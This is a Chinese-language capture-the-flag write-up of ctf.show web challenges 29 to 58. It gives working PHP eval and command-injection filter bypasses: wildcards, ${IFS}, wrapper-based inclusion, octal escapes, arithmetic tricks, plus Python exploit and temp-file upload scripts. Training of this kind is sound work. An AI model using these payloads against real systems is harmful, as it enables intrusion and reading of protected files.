本文最后更新于 2025年3月16日 晚上
未完待续 已完结
Web 29 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
发现过滤了 flag,对 preg_match
进行绕过,并且 cat 也是被过滤了,所以构造 payload
1 2 ?c=system("ls"); ?c=system("tac fla*.php");
Web 30 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:42:26 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了 flag、system、php
,那么对于命令执行函数我们除了 system()
还能用:exec()、shell_exec()、passthru()、popen()、反引号等 ,所以我们能构造 payload
1 ?c=passthru("tac fl??.ph*");
tac
还能换成 tail
Web 31 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:49:10 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
简单绕过,payload
1 ?c=passthru("tac%09fl**");
因为空格和 .
也被过滤了,空格可以用 %09
或 {$IFS}
绕过,flag.php
能用通配符 *
绕过
Web 32 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:56:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
无法用替代绕过了,那么可以试试文件包含
1 ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web 33 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 02:22:27 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
就比 web32 多过滤了个双引号,可以用上面的 payload
1 2 ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php ?c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web 34 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 04:21:29 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
只是多过滤了一个 :
,所以还能用文件包含读取
1 2 ?c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web 35 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 04:21:23 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
比 web34 多过滤了**< 和 =
**,payload 和上一题一样
1 2 ?c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web 36 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 04:21:16 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
比 Web35 多过滤了 /
和 [0-9]
,数字被过滤了,那么我们换成字母
1 ?c=include$_GET[b]?>&b=php://filter/convert.base64-encode/resource=flag.php
Web 37 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 05:18:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
eval()
函数变成 include()
了,说明不能包含 flag ,试试用 php 伪协议,data://
1 2 ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg== //<?php system("tac flag.php");?>
Web 38 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 05:23:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
多过滤了一个 php
和 file
,对 payload 没什么影响
1 ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
Web 39 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:13:21 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
强制加了后缀,include
函数中 $c
后加了.php
后缀,那么也就是说在传入的参数后面会自动加上 php
后缀,payload 可以为
1 ?c=data://text/plain,<?php system("tac fla*.php");?>
Web 40* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了很多东西,只有空格,分号,括号还可以用,字母参数已经过滤完了,查看 hint
1 2 3 show_source (next (array_reverse (scandir (pos (localeconv ()))))); GXYCTF 的禁止套娃 通过cookie 获得参数进行命令执行c =session_start ();system (session_id ());passid =ls
可以使用 hint 的方法
1 ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
Web 41 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: 羽 # @Date: 2020-09-05 20:31:22 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:40:07 # @email: 1341963450@qq.com # @link: https://ctf.show */ if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?>
只剩下了 |
,看的师傅博客,https://blog.csdn.net/miuzzx/article/details/108569080
rce_or.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php $myfile = fopen ("rce_or.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } }fwrite ($myfile ,$contents );fclose ($myfile );
从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
poc.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsimport urllibfrom sys import *import os os.system("php rce_or.php" ) if (len (argv)!=2 ): print ("=" *50 ) print ('USER:python exp.py <url>' ) print ("eg: python exp.py http://ctf.show/" ) print ("=" *50 ) exit(0 ) url=argv[1 ]def action (arg ): s1="" s2="" for i in arg: f=open ("rce_or.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"|\"" +s2+"\")" return (output) while True : param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" )) data={ 'c' :urllib.parse.unquote(param) } r=requests.post(url,data=data) print ("\n[*] result:\n" +r.text)
用法就是
url 用 https
会报错,改成 http
就好了
Web 42 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 20:51:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
>/dev/null 2>&1
将输入重定向到 /dev/null
中,可以直接注释掉,比如说 %0a
截断,
再查看源代码
Web 43 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:32:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
还是截断,cat
被禁了就用 tac/tail/rev
Web 44 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:32:01 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
一样的 payload
Web 45 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:35:34 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了个空格,用 %90/${IFS}
代替
1 2 ?c=tac%09fla*%0a ?c=tac${IFS}fla*%0a
Web 46 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:50:19 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
把通配符 *
也过滤了,数字也过滤了,那就用 ?
1 2 ?c=tac%09fla?.php%0a ?c=tac%09????????%0a
Web 47 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:59:23 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
虽然过滤了一些和 cat
类似用法的命令,但是还能用 tac/nl
1 2 3 4 5 ?c=tac%09????????%0a ?c=tac<>fla\g.php|| ?c=tac<>fla''g.php|| ?c=nl<>fla''g.php|| ?c=nl<fla''g.php||
Web 48 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:06:20 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了一大堆,还是剩下了 tac/nl
,payload 差不多
1 2 ?c=tac%09fl\ag.php|| ?c=nl%09fl\ag.php||
Web 49 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:22:43 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了 %
,那么空格就用 <>
代替,截断用 ||
1 2 ?c=tac<>fl\ag.php|| ?c=nl<>fl\ag.php||
Web 50 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:32:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了 x09 和 x26
,payload 还是一样
Web 51 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:42:52 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__);
这个把 tac
过滤了,但是还能用 nl
Web 52 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:50:30 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
把 <>
都过滤了,那就用 ${IFS}
Web 53 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 18:21:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }
payload 差不多
1 2 ?c=ca\t${IFS}fla\g.php ?c=ca''t${IFS}fla''g.php
Web 54 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /*# -*- coding: utf-8 -* - # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 19:43:42 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.* c.*a.* t.*|.* f.*l.* a.*g.* | |[0-9]|\*|.* m.*o.* r.*e.* |.*w.* g.*e.* t.*|.* l.*e.* s.*s.* |.*h.* e.*a.* d.*|.* s.*o.* r.*t.* |.*t.* a.*i.* l.*|.* s.*e.* d.*|.* c.*u.* t.*|.* t.*a.* c.*|.* a.*w.* k.*|.* s.*t.* r.*i.* n.*g.* s.*|.* o.*d.* |.*c.* u.*r.* l.*|.* n.*l.* |.*s.* c.*p.* |.*r.* m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
看到题目懵了一下,前面的那些方法已经不行了
把文件复制到当前目录下,然后访问目录下载
1 2 ?c=cp${IFS}f?ag.php${IFS}./a ./a
用通配符匹配 bin 目录下的 cat 或者 tac
1 2 ?c=/bin/ca?${IFS}f?ag.php ?c=/bin/c??$IFS????????
用 grep
查找字符串
1 ?c=grep${IFS}'fla'${IFS}fla?.php
Web 55 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 20:03:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
又学到了,八进制绕过,将 ''
内的字符转为八进制绕过
1 2 ?c=$'cat' $'flag.php' ?c=$'\143\141\164' $'\146\154\141\147\56\160\150\160'
Web 56* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
在 linux 下,.
可以用来执行 .sh
脚本,在 php 中,上传的文件保存在临时文件夹下,默认的文件名是 /tmp/phpXXXXXX
,文件名最后 6 个字符是随机的大小写字母
执行 /tmp/phpxxxxxx
也会被过滤,那么必须要用通配符了,表示为 /*/?????????
或者 /???/?????????
,但通配的文件不止一个,无法指定执行。但上传的 php 生成的临时文件包含大写字母,在 ASCII 表中,大写字母排列在 @-[
中,那么我们可以利用 [@-[]
来表示大写字母进行绕过
看看 p 神的文章, 无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
1 2 3 4 5 6 7 8 import requests while True: url = "http://2b507c86-6191-49f9-92f3-7f75368716d1.challenge.ctf.show/?c=.+/???/????????[@-[]" r = requests.post(url, files={"file": ('1.php', b'cat flag.php')}) if r.text.find("flag") >0: print(r.text) break
Web 57* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-08 01:02:56 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 还能炫的动吗? //flag in 36.php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); } }else{ highlight_file(__FILE__); }
flag 在 36.php,构造 36,但是数字被禁了
hint :
1 2 3 4 $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))${_} ="" //返回上一次命令 $((${_} ))=0 $((~$((${_} ))))=-1
因为 shell 编程中的 Shell (())
命令中,可以发现 echo $(())
输出的是 0,那么取反输出则是 -1,以此类推,把结果加到 -37 再取反就能得到 36
1 2 3 4 └─# echo $((~36 )) -37 └─# echo $((~$((-37 )))) 36
我用的笨方法,一直加加加
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ┌──(root㉿butt3rf1y)-[/home/butt3rf1y] └─# echo $( (~$( ()))) -1 ┌──(root㉿butt3rf1y) -[/home/butt3rf1y] └─# echo $(($( (~$( () ))) $((~$( () ))))) -2 ┌──(root㉿butt3rf1y) -[/home/butt3rf1y] └─# echo $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) -4 ┌──(root㉿butt3rf1y) -[/home/butt3rf1y] └─# echo $(($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))) -8 ┌──(root㉿butt3rf1y) -[/home/butt3rf1y] └─# echo $(($( ($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))) $(($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))))) -16 ┌──(root㉿butt3rf1y) -[/home/butt3rf1y] └─# echo $(($( ($( ($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))) $(($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))))) $(($( ($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))) $(($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))))))) -32 ┌──(root㉿butt3rf1y) -[/home/butt3rf1y] └─# echo $(($( ($( ($( ($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))) $(($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))))) $(($( ($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))) $(($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))) -36 ┌──(root㉿butt3rf1y) -[/home/butt3rf1y] └─# echo $(($( ($( ($( ($( ($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))) $(($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))))) $(($( ($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))) $(($( ($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))))))) $(($( ($( (~$( () ))) $((~$( () ))))) $(($( (~$( () ))) $((~$( () ))))))))) $((~$( () ))))) -37
最后的 payload 如下
1 ?c=$((~$(($(($(($(($(($(($(($(($((~$(()))) $((~$(()))))) $(($((~$(()))) $((~$(()))))))) $(($(($((~$(()))) $((~$(()))))) $(($((~$(()))) $((~$(()))))))))) $(($(($(($((~$(()))) $((~$(()))))) $(($((~$(()))) $((~$(()))))))) $(($(($((~$(()))) $((~$(()))))) $(($((~$(()))) $((~$(()))))))))))) $(($(($(($(($((~$(()))) $((~$(()))))) $(($((~$(()))) $((~$(()))))))) $(($(($((~$(()))) $((~$(()))))) $(($((~$(()))) $((~$(()))))))))) $(($(($(($((~$(()))) $((~$(()))))) $(($((~$(()))) $((~$(()))))))) $(($(($((~$(()))) $((~$(()))))) $(($((~$(()))) $((~$(()))))))))))))) $(($(($((~$(()))) $((~$(()))))) $(($((~$(()))) $((~$(()))))))))) $((~$(())))))))))
查看源码拿到 flag
Shell (()) 的用法
Web 58 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
可以直接用 highlight_file
函数输出文件内容
